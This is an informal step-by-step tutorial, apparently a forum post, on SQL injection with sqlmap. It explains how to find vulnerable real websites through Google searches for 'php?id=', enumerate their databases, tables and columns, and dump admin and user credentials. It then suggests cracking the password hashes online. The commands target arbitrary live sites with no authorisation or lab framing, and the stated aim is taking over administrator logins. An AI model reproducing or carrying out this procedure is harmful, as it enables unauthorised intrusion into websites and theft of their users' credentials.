sql injection tutorial and rundown:
first you will need sqlmap. so you need kali linux, which has sqlmap with it.
now you will need to find a website vulnerable to sql injection. you can do
this by going to google and typing php?id= in the search bar. all the results on the search
will get you a sql vulnerable site. remember the url (every part of the url, one typo will fuck it up). thats the first part. now we get into
the slightly more difficult part of it. open up terminal and then type in "sqlmap -u (the url of site) --dbs" then press enter.
now it will be about 15 seconds. then you will get a list of databases. one is information_schema.
that is useless and is in every mysql database. pick another database besides the information_schema database.
remember exactly what that database you picked is named. now type in the terminal "sqlmap -u (the url of the site) -d (name of database) --tables" then press enter.
you should get a list of tables now. look for the one that has something to do with admin or login or adminlogin. if you dont see anything like that just do the command above again with a different database from the list.
now remember the name of the table that you chose. if it is called login or adminlogin you will be able to extract the data from the table.
now type in this command "sqlmap -u (url) -d (database name) -t (name of table you chose) --columns"
what should come up now is a list of columns. they should be called like "id" "user" "pass" "password". now you need to look at the data. so
this command will seal the deal and eventually get you the administrator login or logins for users.
"sqlmap -u (url) -d (database name) -t (table name) -c (column name) --dump" then press enter
now you will get a value for that dumped onto your screen. open a text document in leafpad and jot down the useful information.
to get the other information from the columns do the same command with a different column name after -c until you get the password and username. the password or information could be hashed. if its a bunch of random letters and numbers it most likely is. look up hash decoder online and you can decrypt it there.
thank you for reading my sql injection tutorial. if you need extra assistance contact me on skype.